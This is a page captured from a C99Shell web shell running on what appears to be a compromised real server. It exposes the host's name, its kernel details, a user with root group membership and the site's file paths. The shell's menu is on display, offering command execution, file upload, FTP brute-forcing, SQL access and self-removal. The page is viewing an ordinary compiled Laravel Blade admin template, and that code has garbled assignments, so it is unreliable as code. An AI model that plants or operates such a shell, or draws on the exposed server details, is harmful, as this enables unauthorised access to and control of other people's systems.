!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/storage/framework/views/   drwxr-xr-x
Free 28.29 GB of 117.98 GB (23.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     09b14bcdaa44d94fca3bca5281562f54.php (12.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $user 
auth()->user();
?>



<?php $__env->startSection('title'); ?>
    <?php echo e(__('subcategory_list')); ?>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('content'); ?>
    <div class="container-fluid">
        <div class="row">
            <div class="col-md-12">
                <div class="card">
                    <div class="card-header">
                        <h3 class="card-title" style="line-height: 36px;"><?php echo e(__('add_subcategory')); ?></h3>
                        <?php if(userCan('subcategory.create')): ?>
                            <a href="<?php echo e(route('module.subcategory.create')); ?>"
                                class="btn bg-primary float-right d-flex align-items-center justify-content-center">
                                <i class="fas fa-plus"></i>&nbsp; <?php echo e(__('add_subcategory')); ?>

                            </a>
                        <?php endif; ?>
                    </div>
                    <div class="card-body table-responsive p-0">
                        <table class="table table-hover text-nowrap table-bordered">
                            <thead>
                                <tr class="text-center">
                                    <th width="30%">
                                        <?php echo e(__('name')); ?> (<?php echo e(__('ads_count')); ?>)
                                    </th>
                                    <th>
                                        <?php echo e(__('category_name')); ?>

                                    </th>
                                    <th>
                                        <?php echo e(__('status')); ?>

                                    </th>
                                    <?php if(userCan('subcategory.update') || userCan('subcategory.delete')): ?>
                                        <th width="18%">
                                            <?php echo e(__('action')); ?>

                                        </th>
                                    <?php endif; ?>
                                </tr>
                            </thead>
                            <tbody>
                                <?php $__empty_1 true$__currentLoopData $sub_categories$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $subcategory): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); $__empty_1 false?>
                                    <tr role="row" class="odd">
                                        <td class="sorting_1 text-center" tabindex="0">
                                            <a href="<?php echo e(route('module.subcategory.show'$subcategory->slug)); ?>">
                                                <?php echo e($subcategory->name); ?> (<?php echo e($subcategory->ads_count); ?>)
                                            </a>
                                        </td>
                                        <td class="sorting_1 text-center" tabindex="0">
                                            <a href="<?php echo e(route('module.category.show'$subcategory->category->slug)); ?>">
                                                <?php echo e($subcategory->category->name); ?>

                                            </a>
                                        </td>
                                        <td class="text-center">
                                            <div>
                                                <label class="switch ">
                                                    <input data-id="<?php echo e($subcategory->id); ?>" type="checkbox"
                                                        class="success subcat-status-change"
                                                        <?php echo e($subcategory->status == 'checked' ''); ?>>
                                                    <span class="slider round"></span>
                                                </label>
                                            </div>
                                        </td>
                                        <?php if(userCan('subcategory.update') || userCan('subcategory.delete')): ?>
                                            <td class="sorting_1 text-center" tabindex="0">
                                                <?php if(userCan('subcategory.update')): ?>
                                                    <a data-toggle="tooltip" data-placement="top"
                                                        title="<?php echo e(__('edit_subcategory')); ?>"
                                                        href="<?php echo e(route('module.subcategory.edit'$subcategory->id)); ?>"
                                                        class="btn bg-info"><i class="fas fa-edit"></i></a>
                                                <?php endif; ?>
                                                <?php if(userCan('subcategory.delete')): ?>
                                                    <form
                                                        action="<?php echo e(route('module.subcategory.destroy'$subcategory->id)); ?>"
                                                        method="POST" class="d-inline">
                                                        <?php echo method_field('DELETE'); ?>
                                                        <?php echo csrf_field(); ?>
                                                        <button data-toggle="tooltip" data-placement="top"
                                                            title="<?php echo e(__('delete_subcategory')); ?>"
                                                            onclick="return confirm('<?php echo e(__('are_you_sure_want_to_delete_this_item')); ?>');"
                                                            class="btn bg-danger"><i class="fas fa-trash"></i></button>
                                                    </form>
                                                <?php endif; ?>
                                            </td>
                                        <?php endif; ?>
                                    </tr>
                                <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); if ($__empty_1): ?>
                                    <tr>
                                        <td colspan="10" class="text-center">
                                            <?php if (isset($component)) { $__componentOriginal29785112a59eec7800237cc87bc86e3e $component; } ?>
<?php 
if (isset($attributes)) { $__attributesOriginal29785112a59eec7800237cc87bc86e3e $attributes; } ?>
<?php $component 
App\View\Components\NotFound::resolve(['word' => 'subcategory','route' => 'module.subcategory.create'] + (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag ? (array) $attributes->getIterator() : [])); ?>
<?php $component
->withName('not-found'); ?>
<?php 
if ($component->shouldRender()): ?>
<?php $__env
->startComponent($component->resolveView(), $component->data()); ?>
<?php 
if (isset($attributes) && $attributes instanceof Illuminate\View\ComponentAttributeBag && $constructor = (new ReflectionClass(App\View\Components\NotFound::class))->getConstructor()): ?>
<?php $attributes 
$attributes->except(collect($constructor->getParameters())->map->getName()->all()); ?>
<?php 
endif; ?>
<?php $component
->withAttributes([]); ?>
<?php 
echo $__env->renderComponent(); ?>
<?php 
endif; ?>
<?php 
if (isset($__attributesOriginal29785112a59eec7800237cc87bc86e3e)): ?>
<?php $attributes 
$__attributesOriginal29785112a59eec7800237cc87bc86e3e?>
<?php 
unset($__attributesOriginal29785112a59eec7800237cc87bc86e3e); ?>
<?php 
endif; ?>
<?php 
if (isset($__componentOriginal29785112a59eec7800237cc87bc86e3e)): ?>
<?php $component 
$__componentOriginal29785112a59eec7800237cc87bc86e3e?>
<?php 
unset($__componentOriginal29785112a59eec7800237cc87bc86e3e); ?>
<?php 
endif; ?>
                                        </td>
                                    </tr>
                                <?php endif; ?>
                            </tbody>
                        </table>
                    </div>
                    <?php if($sub_categories->total() > $sub_categories->count()): ?>
                        <div class="card-footer ">
                            <div class="d-flex justify-content-center">
                                <?php echo e($sub_categories->links()); ?>

                            </div>
                        </div>
                    <?php endif; ?>
                </div>
            </div>
        </div>
    </div>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('style'); ?>
    <link rel="stylesheet" href="<?php echo e(asset('backend')); ?>/plugins/datatables-bs4/css/dataTables.bootstrap4.min.css">
    <link rel="stylesheet" href="<?php echo e(asset('backend')); ?>/plugins/datatables-responsive/css/responsive.bootstrap4.min.css">
    <style>
        .switch {
            position: relative;
            display: inline-block;
            width: 35px;
            height: 19px;
            /* width: 60px;
                                height: 34px; */
        }

        /* Hide default HTML checkbox */
        .switch input {
            display: none;
        }

        /* The slider */
        .slider {
            position: absolute;
            cursor: pointer;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background-color: #ccc;
            -webkit-transition: .4s;
            transition: .4s;
        }

        .slider:before {
            position: absolute;
            content: "";
            height: 15px;
            width: 15px;
            left: 3px;
            bottom: 2px;
            background-color: white;
            -webkit-transition: .4s;
            transition: .4s;
        }

        input.success:checked+.slider {
            background-color: #28a745;
        }

        input:checked+.slider:before {
            -webkit-transform: translateX(15px);
            -ms-transform: translateX(15px);
            transform: translateX(15px);
        }

        /* Rounded sliders */
        .slider.round {
            border-radius: 34px;
        }

        .slider.round:before {
            border-radius: 50%;
        }
    </style>
<?php $__env->stopSection(); ?>


<?php $__env->startSection('script'); ?>
    <script src="<?php echo e(asset('backend')); ?>/plugins/datatables/jquery.dataTables.min.js"></script>
    <script src="<?php echo e(asset('backend')); ?>/plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
    <script src="<?php echo e(asset('backend')); ?>/plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
    <script src="<?php echo e(asset('backend')); ?>/plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
    <script>
        $(function() {
            $("#example1").DataTable({
                "responsive": true,
                "autoWidth": false,
            });
            $('#example2').DataTable({
                "paging": true,
                "lengthChange": false,
                "searching": false,
                "ordering": true,
                "info": true,
                "autoWidth": false,
                "responsive": true,
            });
        });

        $('.subcat-status-change').change(function() {
            var status = $(this).prop('checked') == true ? 1 : 0;
            var id = $(this).data('id');
            $.ajax({
                type: "GET",
                dataType: "json",
                url: '<?php echo e(route('module.subcategory.status.change')); ?>',
                data: {
                    'status': status,
                    'id': id
                },
                success: function(response) {
                    toastr.success(response.message, 'Success');
                }
            });
        })
    </script>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('admin.layouts.app'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?><?php /**PATH E:\add listing 8-9-25\addListing\Modules/Category\Resources/views/subcategory/index.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--